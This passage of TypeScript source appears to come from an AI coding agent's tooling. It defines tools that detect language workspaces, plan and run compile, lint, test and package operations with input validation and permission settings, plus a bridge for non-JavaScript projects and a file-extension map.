target: { type: 'string', description: 'Optional target file for workspace selection.' },\n language: { type: 'string', enum: LANGUAGE_IDS, description: 'Optional language filter.' },\n workspace: { type: 'string', description: 'Detected workspace id or root.' },\n mode: { type: 'string', enum: ['fast', 'standard', 'thorough'] },\n check: { type: 'string', enum: ['syntax', 'semantic', 'all'] },\n formatCheck: {\n type: 'boolean',\n description: 'Verify formatting without writing (default true).',\n },\n filter: {\n type: 'string',\n description: 'Validated test/debug filter passed to profile adapters.',\n },\n coverage: { type: 'boolean' },\n noRun: { type: 'boolean', description: 'Compile tests without running when supported.' },\n debug: { type: 'string', enum: ['compile', 'test', 'runtime', 'race'] },\n },\n required: ['action'],\n additionalProperties: false,\n },\n validate(input) {\n const errors: string[] = [];\n if (input.action !== 'check' && input.check)\n errors.push('check is only valid when action=check');\n if (input.action !== 'format' && input.formatCheck !== undefined)\n errors.push('formatCheck is only valid when action=format');\n if (input.action !== 'debug' && input.debug)\n errors.push('debug is only valid when action=debug');\n if (input.coverage) errors.push('coverage collection is not implemented in Phase 2');\n if (input.noRun && input.action !== 'test') errors.push('noRun is only valid when action=test');\n if (\n input.filter &&\n (input.filter.length > 500 ||\n input.filter.startsWith('-') ||\n /[\\r\\n\\0;&|`$<>]/.test(input.filter))\n )\n errors.push(\n 'filter must be at most 500 characters, not start with \"-\", and contain no shell/control characters',\n );\n return errors;\n },\n async execute(input, ctx, opts) {\n let final: LanguageToolOutput | undefined;\n const stream = languageTool.executeStream;\n if (!stream) throw new Error('languageTool: stream execution unavailable');\n for await (const event of stream(input, ctx, opts)) {\n if (event.type === 'final') final = event.output;\n }\n if (!final) throw new Error('language: stream ended without final event');\n return final;\n },\n async *executeStream(input, ctx, opts): AsyncGenerator<ToolStreamEvent<LanguageToolOutput>> {\n const cwd = input.cwd ? await safeResolveReal(input.cwd, ctx) : (ctx.workingDir ?? ctx.cwd);\n const operations = operationsFor(input);\n const runs: LanguageRunResult[] = [];\n const unavailableReasons: string[] = [];\n for (const operation of operations) {\n opts.signal.throwIfAborted();\n const planResult = await planLanguageOperation({\n projectRoot: ctx.projectRoot,\n cwd,\n operation,\n ...(input.target ? { target: input.target } : {}),\n ...(input.language ? { language: input.language } : {}),\n ...(input.workspace ? { workspace: input.workspace } : {}),\n ...(input.mode ? { mode: input.mode } : {}),\n operationOptions: operationOptions(input),\n signal: opts.signal,\n });\n if (planResult.status !== 'planned') {\n const reason =\n planResult.status === 'unavailable' ? planResult.unavailable.reason : planResult.reason;\n if (runs.length === 0) {\n return yield {\n type: 'final',\n output: unavailableOutput(reason),\n };\n }\n unavailableReasons.push(`${operation}: ${reason}`);\n yield { type: 'warning', text: `${operation}: ${reason}` };\n continue;\n }\n const runner = executeLanguagePlan({\n projectRoot: ctx.projectRoot,\n workspace: planResult.workspace,\n plan: planResult.plan,\n signal: opts.signal,\n });\n for (;;) {\n const next = await runner.next();\n if (next.done) {\n runs.push(next.value);\n if (next.value.plan.kind === 'process') {\n ctx.recordSideEffect?.({\n toolUseId: `language-${Date.now()}-${runs.length}`,\n toolName: 'language',\n ts: new Date().toISOString(),\n input: {\n language: next.value.language,\n operation: next.value.plan.operation,\n command: next.value.plan.command,\n args: next.value.plan.args,\n cwd: next.value.plan.cwd,\n },\n outcome: `${next.value.status}${next.value.exitCode === null ? '' : ` (exit ${next.value.exitCode})`}`,\n risk: 'shell',\n });\n }\n break;\n }\n yield next.value;\n }\n const last = runs.at(-1)!;\n if (last.status === 'cancelled' || last.status === 'timed_out') break;\n if (last.status === 'failed' && input.mode !== 'thorough') break;\n }\n yield { type: 'final', output: aggregateRuns(runs, unavailableReasons) };\n },\n serialize(output) {\n const lines = [\n `status=${output.status} runs=${output.summary.runs} passed=${output.summary.passed} failed=${output.summary.failed}`,\n `diagnostics: ${output.summary.errors} error(s), ${output.summary.warnings} warning(s)`,\n ];\n for (const diagnostic of output.diagnostics.slice(0, 20)) {\n const location = diagnostic.file\n ? `${diagnostic.file}${diagnostic.range ? `:${diagnostic.range.start.line}:${diagnostic.range.start.column}` : ''}`\n : diagnostic.source;\n lines.push(\n `${diagnostic.severity.toUpperCase()} ${location}${diagnostic.code ? ` ${diagnostic.code}` : ''}: ${diagnostic.message}`,\n );\n }\n if (output.diagnostics.length > 20)\n lines.push(`\u2026 ${output.diagnostics.length - 20} more diagnostic(s)`);\n if (output.output) lines.push(output.output);\n return lines.join('\\n');\n },\n};\n\nfunction operationsFor(input: LanguageToolInput): LanguageOperation[] {\n switch (input.action) {\n case 'check':\n return input.check === 'syntax'\n ? ['syntax']\n : input.check === 'semantic'\n ? ['semantic']\n : ['syntax', 'semantic'];\n case 'lint':\n return ['lint'];\n case 'format':\n return [input.formatCheck === false ? 'format-write' : 'format-check'];\n case 'test':\n return [input.noRun ? 'test-compile' : 'test'];\n case 'build':\n return ['build'];\n case 'debug':\n if (input.debug === 'race') return ['debug-race'];\n if (input.debug === 'test') return ['test-compile', 'test'];\n if (input.debug === 'runtime') return ['semantic', 'build', 'test'];\n return ['semantic'];\n }\n}\n\nfunction operationOptions(input: LanguageToolInput): LanguageOperationOptions {\n return {\n ...(input.target ? { target: input.target } : {}),\n ...(input.filter ? { filter: input.filter } : {}),\n ...(input.coverage !== undefined ? { coverage: input.coverage } : {}),\n ...(input.noRun !== undefined ? { noRun: input.noRun } : {}),\n };\n}\n\nfunction unavailableOutput(reason: string): LanguageToolOutput {\n return {\n status: 'unavailable',\n runs: [],\n diagnostics: Object.freeze([]),\n summary: { runs: 0, passed: 0, failed: 0, errors: 0, warnings: 0 },\n output: reason,\n };\n}\n\nfunction aggregateRuns(\n runs: LanguageRunResult[],\n unavailableReasons: readonly string[],\n): LanguageToolOutput {\n if (runs.length === 0)\n return unavailableOutput(\n unavailableReasons.join('\\n') || 'No executable language operations were planned.',\n );\n const diagnostics = Object.freeze(runs.flatMap((run) => [...run.diagnostics]));\n const failed = runs.filter((run) => run.status === 'failed').length;\n const terminal = runs.find((run) => run.status === 'cancelled' || run.status === 'timed_out');\n const unavailable = runs.filter((run) => run.status === 'unavailable').length;\n const status: LanguageToolOutput['status'] =\n terminal?.status ??\n (failed > 0\n ? 'failed'\n : unavailableReasons.length > 0 || unavailable === runs.length\n ? 'unavailable'\n : 'passed');\n return {\n status,\n language: runs[0]!.language,\n workspace: runs[0]!.workspace.root,\n runs,\n diagnostics,\n summary: {\n runs: runs.length,\n passed: runs.filter((run) => run.status === 'passed').length,\n failed,\n errors: diagnostics.filter((item) => item.severity === 'error').length,\n warnings: diagnostics.filter((item) => item.severity === 'warning').length,\n },\n output: [\n ...runs.map(\n (run) => `${run.plan.operation}: ${run.status}${run.output ? `\\n${run.output}` : ''}`,\n ),\n ...unavailableReasons,\n ].join('\\n\\n'),\n };\n}\n", "import type { Tool, ToolStreamEvent } from '@wrongstack/core/types';\nimport { safeResolveReal } from '../_util.js';\nimport { executePackagePlan } from './execute.js';\nimport { planLanguageOperation } from './plan.js';\nimport type {\n LanguageOperation,\n LanguagePackageMutation,\n LanguagePackageOutcome,\n LanguagePackageVulnerability,\n LanguageProfileId,\n} from './types.js';\n\nexport interface LanguagePackageInput {\n operation: 'install' | 'add' | 'remove' | 'update' | 'audit' | 'outdated';\n cwd?: string | undefined;\n language?: LanguageProfileId | undefined;\n workspace?: string | undefined;\n names?: string[] | undefined;\n scope?: 'runtime' | 'development' | 'optional' | undefined;\n dryRun?: boolean | undefined;\n allowScripts?: boolean | undefined;\n}\n\nexport interface LanguagePackageToolOutput {\n status: 'passed' | 'failed' | 'unavailable' | 'cancelled' | 'timed_out';\n language?: LanguageProfileId | undefined;\n workspace?: string | undefined;\n operation?: LanguageOperation | undefined;\n outcome?: LanguagePackageOutcome | undefined;\n mutations: readonly LanguagePackageMutation[];\n vulnerabilities: readonly LanguagePackageVulnerability[];\n outdated: readonly LanguagePackageMutation[];\n manifestsChanged: string[];\n lockfilesChanged: string[];\n output: string;\n error?: string | undefined;\n}\n\nconst LANGUAGE_IDS: LanguageProfileId[] = [\n 'typescript',\n 'javascript',\n 'go',\n 'rust',\n 'php',\n 'csharp',\n 'python',\n 'java',\n 'ruby',\n 'c',\n 'cpp',\n 'swift',\n 'dart',\n 'elixir',\n 'deno',\n 'shell',\n];\n\nconst SUPPORTED_OPERATIONS = new Set<LanguagePackageInput['operation']>([\n 'install',\n 'add',\n 'remove',\n 'update',\n 'audit',\n 'outdated',\n]);\n\nconst OPERATION_TO_PLAN: Record<LanguagePackageInput['operation'], LanguageOperation> = {\n install: 'package-install',\n add: 'package-add',\n remove: 'package-remove',\n update: 'package-update',\n audit: 'package-audit',\n outdated: 'package-outdated',\n};\n\nexport const languagePackageTool: Tool<LanguagePackageInput, LanguagePackageToolOutput> = {\n name: 'language_package',\n category: 'Package Management',\n description:\n 'Restore, mutate, audit, or report outdated packages via predefined ecosystem-specific plans.',\n usageHint:\n 'Use this instead of the legacy `install`/`audit`/`outdated` tools. The tool detects the workspace, ' +\n 'builds an allowlisted argv plan with lifecycle scripts disabled, runs it, and records manifest/lockfile changes.',\n selection: {\n doNotUseWhen:\n 'You only need to inspect or plan, or need to compile/test/lint without touching dependencies.',\n useInstead: ['language_info', 'language', 'install', 'audit', 'outdated'],\n },\n permission: 'confirm',\n mutating: true,\n riskTier: 'destructive',\n capabilities: ['shell.restricted', 'fs.write', 'net.outbound', 'package.install'],\n icon: 'package',\n timeoutMs: 600_000,\n inputSchema: {\n type: 'object',\n properties: {\n operation: {\n type: 'string',\n enum: ['install', 'add', 'remove', 'update', 'audit', 'outdated'],\n description: 'Package management operation to perform.',\n },\n cwd: { type: 'string', description: 'Directory inside the project.' },\n language: {\n type: 'string',\n enum: LANGUAGE_IDS,\n description: 'Optional language profile filter.',\n },\n workspace: { type: 'string', description: 'Detected workspace id or root.' },\n names: {\n type: 'array',\n items: { type: 'string' },\n description:\n 'Validated package names. Required for add/remove/update; optional for install.',\n },\n scope: {\n type: 'string',\n enum: ['runtime', 'development', 'optional'],\n description: 'Where to record the dependency (add/update).',\n },\n dryRun: {\n type: 'boolean',\n description: 'Preview the install without modifying the workspace.',\n },\n allowScripts: {\n type: 'boolean',\n description:\n 'Opt in to running package lifecycle scripts (preinstall/install/postinstall). Default false.',\n },\n },\n required: ['operation'],\n additionalProperties: false,\n },\n validate(input) {\n const errors: string[] = [];\n if (!SUPPORTED_OPERATIONS.has(input.operation))\n errors.push(`Unsupported package operation: ${String(input.operation)}`);\n if (\n (input.operation === 'add' || input.operation === 'remove') &&\n (!input.names || input.names.length === 0)\n ) {\n errors.push(`operation=${input.operation} requires at least one name in names`);\n }\n for (const name of input.names ?? []) {\n if (typeof name !== 'string' || !name) {\n errors.push('names must contain only non-empty strings');\n break;\n }\n }\n return errors;\n },\n async execute(input, ctx, opts) {\n let final: LanguagePackageToolOutput | undefined;\n const stream = languagePackageTool.executeStream;\n if (!stream) throw new Error('languagePackageTool: stream execution unavailable');\n for await (const event of stream(input, ctx, opts)) {\n if (event.type === 'final') final = event.output;\n }\n if (!final) throw new Error('language_package: stream ended without final event');\n return final;\n },\n async *executeStream(\n input,\n ctx,\n opts,\n ): AsyncGenerator<ToolStreamEvent<LanguagePackageToolOutput>> {\n const cwd = input.cwd ? await safeResolveReal(input.cwd, ctx) : (ctx.workingDir ?? ctx.cwd);\n const planOperation = OPERATION_TO_PLAN[input.operation];\n const operationOptions = {\n ...(input.names ? { packages: input.names } : {}),\n ...(input.scope ? { packageScope: input.scope } : {}),\n ...(input.allowScripts !== undefined ? { allowScripts: input.allowScripts } : {}),\n };\n const planResult = await planLanguageOperation({\n projectRoot: ctx.projectRoot,\n cwd,\n operation: planOperation,\n ...(input.language ? { language: input.language } : {}),\n ...(input.workspace ? { workspace: input.workspace } : {}),\n operationOptions,\n signal: opts.signal,\n });\n if (planResult.status !== 'planned') {\n const reason =\n planResult.status === 'unavailable' ? planResult.unavailable.reason : planResult.reason;\n yield {\n type: 'final',\n output: {\n status: 'unavailable',\n mutations: [],\n vulnerabilities: [],\n outdated: [],\n manifestsChanged: [],\n lockfilesChanged: [],\n output: reason,\n error: reason,\n },\n };\n return;\n }\n if (input.dryRun) {\n yield {\n type: 'final',\n output: {\n status: 'passed',\n language: planResult.workspace.language,\n workspace: planResult.workspace.root,\n operation: planResult.plan.operation,\n mutations: [],\n vulnerabilities: [],\n outdated: [],\n manifestsChanged: [],\n lockfilesChanged: [],\n output:\n `Dry run: ${planResult.plan.command ?? 'internal'} ${planResult.plan.args.join(' ')}`.trim(),\n },\n };\n return;\n }\n const runner = executePackagePlan({\n projectRoot: ctx.projectRoot,\n workspace: planResult.workspace,\n plan: planResult.plan,\n packages: input.names ?? [],\n signal: opts.signal,\n });\n let outcome: LanguagePackageOutcome | undefined;\n for (;;) {\n const next = await runner.next();\n if (next.done) {\n outcome = next.value;\n break;\n }\n yield next.value;\n }\n if (!outcome) {\n yield {\n type: 'final',\n output: {\n status: 'unavailable',\n mutations: [],\n vulnerabilities: [],\n outdated: [],\n manifestsChanged: [],\n lockfilesChanged: [],\n output: 'Language package plan produced no outcome.',\n },\n };\n return;\n }\n const final = aggregateOutcome(outcome);\n if (outcome.run?.plan.kind === 'process') {\n ctx.recordSideEffect?.({\n toolUseId: `language_package-${Date.now()}`,\n toolName: 'language_package',\n ts: new Date().toISOString(),\n input: {\n language: outcome.language,\n operation: outcome.operation,\n command: outcome.run.plan.command,\n args: outcome.run.plan.args,\n cwd: outcome.run.plan.cwd,\n dryRun: input.dryRun ?? false,\n },\n outcome: `${final.status}${outcome.run.exitCode === null ? '' : ` (exit ${outcome.run.exitCode})`}`,\n risk: 'package',\n });\n }\n yield { type: 'final', output: final };\n },\n serialize(output) {\n const lines = [\n `status=${output.status} operation=${output.operation ?? 'unknown'} mutations=${output.mutations.length} vulnerabilities=${output.vulnerabilities.length} outdated=${output.outdated.length}`,\n `manifestsChanged: ${output.manifestsChanged.join(', ') || '\u2205'}`,\n `lockfilesChanged: ${output.lockfilesChanged.join(', ') || '\u2205'}`,\n ];\n for (const mutation of output.mutations) {\n lines.push(`+ ${mutation.name}${mutation.resolved ? `@${mutation.resolved}` : ''}`);\n }\n for (const outdated of output.outdated) {\n lines.push(`= ${outdated.name}: ${outdated.previous ?? '?'} \u2192 ${outdated.resolved ?? '?'}`);\n }\n for (const vuln of output.vulnerabilities) {\n lines.push(`! ${vuln.package} (${vuln.severity}) ${vuln.advisory ?? ''}`);\n }\n if (output.output) lines.push(output.output);\n return lines.join('\\n');\n },\n};\n\nfunction aggregateOutcome(outcome: LanguagePackageOutcome): LanguagePackageToolOutput {\n return {\n status: outcome.status,\n language: outcome.language,\n workspace: outcome.workspace.root,\n operation: outcome.operation,\n outcome,\n mutations: Object.freeze([...outcome.mutations]),\n vulnerabilities: Object.freeze([...outcome.vulnerabilities]),\n outdated: Object.freeze([...outcome.outdated]),\n manifestsChanged: [...outcome.manifestsChanged],\n lockfilesChanged: [...outcome.lockfilesChanged],\n output: outputSummary(outcome),\n ...(outcome.run?.output ? { error: undefined } : {}),\n };\n}\n\nfunction outputSummary(outcome: LanguagePackageOutcome): string {\n const lines = [\n `${outcome.operation} on ${outcome.workspace.root}: ${outcome.status}`,\n `manifestsChanged: ${outcome.manifestsChanged.join(', ') || '\u2205'}`,\n `lockfilesChanged: ${outcome.lockfilesChanged.join(', ') || '\u2205'}`,\n ];\n for (const mutation of outcome.mutations) {\n lines.push(`+ ${mutation.name}${mutation.resolved ? `@${mutation.resolved}` : ''}`);\n }\n for (const vuln of outcome.vulnerabilities) {\n lines.push(`! ${vuln.package} (${vuln.severity})${vuln.advisory ? ` ${vuln.advisory}` : ''}`);\n }\n for (const outdated of outcome.outdated) {\n lines.push(`= ${outdated.name}: ${outdated.previous ?? '?'} \u2192 ${outdated.resolved ?? '?'}`);\n }\n if (outcome.run?.output) lines.push(outcome.run.output);\n return lines.join('\\n');\n}\n", "import type { Tool } from '@wrongstack/core/types';\nimport { safeResolveReal } from '../_util.js';\nimport { detectLanguageWorkspaces } from './detect.js';\nimport { planLanguageOperation } from './plan.js';\nimport { languageProfileRegistry } from './registry.js';\nimport type { LanguageOperation, LanguageOperationOptions, LanguageProfileId } from './types.js';\n\ninterface LanguageInfoInput {\n action: 'detect' | 'plan' | 'capabilities';\n cwd?: string | undefined;\n target?: string | undefined;\n language?: LanguageProfileId | undefined;\n workspace?: string | undefined;\n operation?: LanguageOperation | undefined;\n mode?: 'fast' | 'standard' | 'thorough' | undefined;\n options?: LanguageOperationOptions | undefined;\n}\n\ninterface LanguageCapabilitiesOutput {\n action: 'capabilities';\n profiles: Array<{\n id: LanguageProfileId;\n displayName: string;\n extensions: readonly string[];\n operations: string[];\n packageManagers: readonly string[];\n }>;\n}\n\ntype LanguageInfoOutput =\n | ({ action: 'detect' } & Awaited<ReturnType<typeof detectLanguageWorkspaces>>)\n | ({ action: 'plan' } & Awaited<ReturnType<typeof planLanguageOperation>>)\n | LanguageCapabilitiesOutput;\n\nconst LANGUAGE_IDS: LanguageProfileId[] = [\n 'typescript',\n 'javascript',\n 'go',\n 'rust',\n 'php',\n 'csharp',\n 'python',\n 'java',\n 'ruby',\n 'c',\n 'cpp',\n 'swift',\n 'dart',\n 'elixir',\n 'deno',\n 'shell',\n];\n\nconst OPERATIONS: LanguageOperation[] = [\n 'syntax',\n 'semantic',\n 'lint',\n 'format-check',\n 'format-write',\n 'test-compile',\n 'test',\n 'build',\n 'run',\n 'debug-compile',\n 'debug-test',\n 'debug-runtime',\n 'debug-race',\n 'package-install',\n 'package-add',\n 'package-remove',\n 'package-update',\n 'package-audit',\n 'package-outdated',\n];\n\nexport const languageInfoTool: Tool<LanguageInfoInput, LanguageInfoOutput> = {\n name: 'language_info',\n category: 'Code Quality',\n description:\n 'Detect language workspaces and preview predefined language-specific command plans without executing them.',\n usageHint:\n 'Use `detect` to find TypeScript/JavaScript, Go, Rust, PHP, and C# workspaces. ' +\n 'Use `plan` to obtain an exact, validated argv plan before choosing an execution tool. ' +\n 'This tool never spawns a process or modifies files.',\n selection: {\n doNotUseWhen: 'You need to execute a compiler, test runner, formatter, or package manager.',\n useInstead: ['exec', 'typecheck', 'lint', 'format', 'test', 'install'],\n },\n permission: 'auto',\n mutating: false,\n riskTier: 'safe',\n capabilities: ['fs.read'],\n icon: 'code',\n timeoutMs: 30_000,\n inputSchema: {\n type: 'object',\n properties: {\n action: {\n type: 'string',\n enum: ['detect', 'plan', 'capabilities'],\n description: 'Read-only action to perform.',\n },\n cwd: { type: 'string', description: 'Directory inside the project to inspect.' },\n target: { type: 'string', description: 'Optional target file used for workspace selection.' },\n language: {\n type: 'string',\n enum: LANGUAGE_IDS,\n description: 'Optional language profile filter.',\n },\n workspace: { type: 'string', description: 'Workspace id or root returned by detect.' },\n operation: {\n type: 'string',\n enum: OPERATIONS,\n description: 'Operation to preview when action=plan.',\n },\n mode: {\n type: 'string',\n enum: ['fast', 'standard', 'thorough'],\n description: 'Planning mode.',\n },\n options: {\n type: 'object',\n properties: {\n target: { type: 'string' },\n filter: { type: 'string' },\n coverage: { type: 'boolean' },\n noRun: { type: 'boolean' },\n packages: { type: 'array', items: { type: 'string' } },\n packageScope: { type: 'string', enum: ['runtime', 'development', 'optional'] },\n allowScripts: { type: 'boolean' },\n },\n additionalProperties: false,\n },\n },\n required: ['action'],\n additionalProperties: false,\n },\n validate(input) {\n const errors: string[] = [];\n if (input.action === 'plan' && !input.operation)\n errors.push('operation is required when action=plan');\n if (input.action !== 'plan' && input.operation)\n errors.push('operation is only valid when action=plan');\n if (input.action !== 'plan' && input.options)\n errors.push('options are only valid when action=plan');\n return errors;\n },\n async execute(input, ctx, opts) {\n if (input.action === 'capabilities') {\n return {\n action: 'capabilities',\n profiles: languageProfileRegistry.list().map((profile) => ({\n id: profile.id,\n displayName: profile.displayName,\n extensions: profile.extensions,\n operations: Object.keys(profile.operations).sort(),\n packageManagers: profile.packageManagers,\n })),\n };\n }\n const cwd = input.cwd ? await safeResolveReal(input.cwd, ctx) : (ctx.workingDir ?? ctx.cwd);\n const common = {\n projectRoot: ctx.projectRoot,\n cwd,\n ...(input.target ? { target: input.target } : {}),\n ...(input.language ? { language: input.language } : {}),\n signal: opts.signal,\n };\n if (input.action === 'detect') {\n return { action: 'detect', ...(await detectLanguageWorkspaces(common)) };\n }\n const result = await planLanguageOperation({\n ...common,\n operation: input.operation!,\n ...(input.workspace ? { workspace: input.workspace } : {}),\n ...(input.mode ? { mode: input.mode } : {}),\n ...(input.options ? { operationOptions: input.options } : {}),\n });\n return { action: 'plan', ...result };\n },\n};\n", "export { detectLanguageWorkspaces } from './detect.js';\nexport {\n diagnosticsForInternalSyntax,\n type ParsedPackageReports,\n parseLanguageDiagnostics,\n parsePackageReports,\n} from './diagnostics.js';\nexport {\n type ExecuteLanguagePlanOptions,\n type ExecutePackagePlanOptions,\n executeLanguagePlan,\n executePackagePlan,\n} from './execute.js';\nexport { languageTool } from './execute-tool.js';\nexport {\n type LanguagePackageInput,\n type LanguagePackageToolOutput,\n languagePackageTool,\n} from './package-tool.js';\nexport { planLanguageOperation, validateCommandPlan } from './plan.js';\nexport { ADDITIONAL_LANGUAGE_PROFILES } from './profiles/additional.js';\nexport { PRIMARY_LANGUAGE_PROFILES } from './profiles/primary.js';\nexport {\n LanguageProfileRegistry,\n languageProfileRegistry,\n validateLanguageProfile,\n} from './registry.js';\nexport { languageInfoTool } from './tool.js';\nexport type {\n CommandPlan,\n DetectedWorkspace,\n DetectionLimits,\n DetectionResult,\n DetectLanguageOptions,\n DetectorRule,\n EvidenceKind,\n LanguageDiagnostic,\n LanguageDiagnosticPosition,\n LanguageEvidence,\n LanguageOperation,\n LanguageOperationOptions,\n LanguagePackageMutation,\n LanguagePackageOutcome,\n LanguagePackageVulnerability,\n LanguageProfile,\n LanguageProfileId,\n LanguageRunResult,\n LanguageRunSummary,\n PackageMutation,\n PackageRead,\n PlanLanguageOptions,\n PlanLanguageResult,\n ProfileContext,\n UnavailableOperation,\n} from './types.js';\n", "/**\n * Legacy-to-language bridge: lets `typecheck`, `lint`, `format`, `test`,\n * `install`, `audit`, and `outdated` delegate through the deterministic\n * language planner when the workspace is a non-JavaScript ecosystem\n * (Go, Rust, PHP, C#).\n *\n * When the workspace IS JavaScript/TypeScript (or has no detected\n * language marker), the bridge returns `null` and the legacy tool\n * continues on its existing code path unchanged. This preserves 100 %\n * backward compatibility for the TS/JS ecosystem where these tools\n * originated.\n */\nimport * as fs from 'node:fs/promises';\nimport * as path from 'node:path';\n\nimport { executeLanguagePlan, executePackagePlan, planLanguageOperation } from './index.js';\nimport type {\n LanguageOperation,\n LanguagePackageOutcome,\n LanguageProfileId,\n LanguageRunResult,\n} from './types.js';\n\nconst NON_JS_MARKERS: ReadonlyArray<{ filename: string; language: LanguageProfileId }> = [\n { filename: 'go.mod', language: 'go' },\n { filename: 'go.work', language: 'go' },\n { filename: 'Cargo.toml', language: 'rust' },\n { filename: 'composer.json', language: 'php' },\n];\n\nconst NON_JS_SUFFIXES: ReadonlyArray<{ suffix: string; language: LanguageProfileId }> = [\n { suffix: '.csproj', language: 'csharp' },\n { suffix: '.fsproj', language: 'csharp' },\n];\n\nexport interface LegacyBridgeContext {\n cwd: string;\n projectRoot: string;\n signal: AbortSignal;\n target?: string | undefined;\n}\n\n/**\n * Quick check: does the cwd (or any parent up to projectRoot) contain a\n * non-JS ecosystem marker? Returns the detected language or `null`.\n */\nexport async function detectNonJsEcosystem(\n cwd: string,\n projectRoot: string,\n): Promise<LanguageProfileId | null> {\n try {\n let dir = path.resolve(cwd);\n const root = path.resolve(projectRoot);\n\n for (let depth = 0; depth <= 4 && dir.startsWith(root); depth++) {\n for (const marker of NON_JS_MARKERS) {\n try {\n const s = await fs.stat(path.join(dir, marker.filename));\n if (s.isFile()) return marker.language;\n } catch {\n // not present\n }\n }\n try {\n const entries = await fs.readdir(dir);\n for (const entry of entries) {\n for (const suffix of NON_JS_SUFFIXES) {\n if (entry.toLowerCase().endsWith(suffix.suffix)) return suffix.language;\n }\n }\n } catch {\n // not a directory or not readable\n }\n if (dir === root) break;\n dir = path.dirname(dir);\n }\n } catch {\n // Module mocks or unusual environments may not provide all fs methods.\n // Return null so the legacy tool falls back to its existing path.\n }\n return null;\n}\n\nexport interface LegacyBridgeResult {\n language: LanguageProfileId;\n run?: LanguageRunResult;\n outcome?: LanguagePackageOutcome;\n}\n\n/**\n * Attempt to plan and execute a code-quality operation through the language\n * system. Returns the result or `null` when the workspace is JS/TS or the\n * planner has no plan.\n */\nexport async function tryLegacyCodeOperation(\n operation: LanguageOperation,\n ctx: LegacyBridgeContext,\n): Promise<LegacyBridgeResult | null> {\n const language = await detectNonJsEcosystem(ctx.cwd, ctx.projectRoot);\n if (!language) return null;\n\n const planResult = await planLanguageOperation({\n projectRoot: ctx.projectRoot,\n cwd: ctx.cwd,\n operation,\n language,\n ...(ctx.target ? { target: ctx.target } : {}),\n signal: ctx.signal,\n });\n if (planResult.status !== 'planned') return null;\n\n const runner = executeLanguagePlan({\n projectRoot: ctx.projectRoot,\n workspace: planResult.workspace,\n plan: planResult.plan,\n signal: ctx.signal,\n });\n for (;;) {\n const next = await runner.next();\n if (next.done) return { language, run: next.value };\n }\n}\n\n/**\n * Attempt to plan and execute a package operation through the language\n * system. Returns the result or `null` when the workspace is JS/TS.\n */\nexport async function tryLegacyPackageOperation(\n operation: LanguageOperation,\n ctx: LegacyBridgeContext,\n packages: readonly string[] = [],\n): Promise<LegacyBridgeResult | null> {\n const language = await detectNonJsEcosystem(ctx.cwd, ctx.projectRoot);\n if (!language) return null;\n\n const planResult = await planLanguageOperation({\n projectRoot: ctx.projectRoot,\n cwd: ctx.cwd,\n operation,\n language,\n signal: ctx.signal,\n ...(packages.length > 0 ? { operationOptions: { packages: [...packages] } } : {}),\n });\n if (planResult.status !== 'planned') return null;\n\n const runner = executePackagePlan({\n projectRoot: ctx.projectRoot,\n workspace: planResult.workspace,\n plan: planResult.plan,\n packages,\n signal: ctx.signal,\n });\n for (;;) {\n const next = await runner.next();\n if (next.done) return { language, outcome: next.value };\n }\n}\n", "/**\n * Single source of truth for which files are indexable and which\n * {@link SymbolLang} they map to.\n *\n * Keep this list broad: missing a native AST parser must never mean \"skip\n * the file\". Unknown programming/config sources still go through the generic\n * regex extractor under their mapped lang (or `'other'`).\n */\n\nimport * as path from 'node:path';\nimport type { SymbolLang } from './schema.js';\n\n/**\n * Extension \u2192 language. Keys are lowercase including the leading dot.\n * Multi-dot extensions (`.d.ts`) are handled specially in {@link detectLang}.\n */\nexport const EXT_TO_LANG: Readonly<Record<string, SymbolLang>> = {\n // TypeScript / JavaScript (first-class TS compiler API)\n '.ts': 'ts',\n '.mts': 'ts',\n '.cts': 'ts',\n '.tsx': 'tsx',\n '.js': 'js',\n '.mjs': 'js',\n '.cjs': 'js',\n '.jsx': 'jsx',\n\n // First-class native/spawn parsers (+ regex fallback)\n '.go': 'go',\n '.py': 'py',\n '.pyi': 'py',\n '.pyw': 'py',\n '.rs': 'rs',\n '.json': 'json',\n '.jsonc': 'json',\n '.yaml': 'yaml',\n '.yml': 'yaml',\n\n // C family\n '.c': 'c',\n '.h': 'c',\n '.cc': 'cpp',\n '.cpp': 'cpp',\n '.cxx': 'cpp',\n '.hh': 'cpp',\n '.hpp': 'cpp',\n '.hxx': 'cpp',\n\n // JVM / .NET\n '.java': 'java',\n '.cs': 'csharp',\n '.kt': 'kotlin',\n '.kts': 'kotlin',\n '.scala': 'scala',\n '.sc': 'scala',\n\n // Scripting\n '.php': 'php',\n '.rb': 'ruby',\n '.swift': 'swift',\n '.dart': 'dart',\n '.lua': 'lua',\n '.r': 'r',\n '.R': 'r',\n '.pl': 'other',\n '.pm': 'other',\n\n // Systems / functional\n '.zig': 'zig',\n '.ex': 'elixir',\n '.exs': 'elixir',\n '.hs': 'haskell',\n '.lhs': 'haskell',\n\n // Shell / data / docs / web\n '.sh': 'shell',\n '.bash': 'shell',\n '.zsh': 'shell',\n '.ps1': 'shell',\n '.sql': 'sql',\n '.md': 'md',\n '.mdx': 'md',\n '.toml': 'toml',\n '.html': 'html',\n '.htm': 'html',\n '.css': 'css',\n '.scss': 'css',\n '.less': 'css',\n '.vue': 'vue',\n '.svelte': 'svelte',\n '.proto': 'proto',\n '.graphql': 'graphql',\n '.gql': 'graphql',\n};\n\n/** Sorted unique extension list for discovery walks. */\nexport const INDEXABLE_EXTENSIONS: readonly string[] = Object.freeze(\n [...new Set(Object.keys(EXT_TO_LANG).map((e) => e.toLowerCase()))].sort(),\n);\n\n/** Filenames without (or with special) extensions that should still be indexed. */\nconst SPECIAL_FILENAMES: Readonly<Record<string, SymbolLang>> = {\n makefile: 'other',\n gnumakefile: 'other',\n dockerfile: 'other',\n 'docker-compose.yml': 'yaml',\n 'docker-compose.yaml': 'yaml',\n 'cmakelists.txt': 'other',\n gemfile: 'ruby',\n rakefile: 'ruby',\n procfile: 'other',\n justfile: 'other',\n};\n\n/**\n * Detect {@link SymbolLang} from a file path.\n * Returns `null` only for paths we intentionally refuse to index (binary\n * assets, lockfiles handled elsewhere, plain `.txt` without special name, \u2026).\n */\nexport function detectLang(file: string): SymbolLang | null {\n const base = path.basename(file);\n const lowerBase = base.toLowerCase();\n\n // declaration files: foo.d.ts \u2192 ts\n if (lowerBase.endsWith('.d.ts') || lowerBase.endsWith('.d.mts') || lowerBase.endsWith('.d.cts')) {\n return 'ts';\n }\n\n const special = SPECIAL_FILENAMES[lowerBase];\n if (special) return special;\n\n const ext = path.extname(base).toLowerCase();\n if (!ext) return null;\n return EXT_TO_LANG[ext] ?? null;\n}\n\n/** True when the path is eligible for the codebase index. */\nexport function isIndexablePath(file: string): boolean {\n return 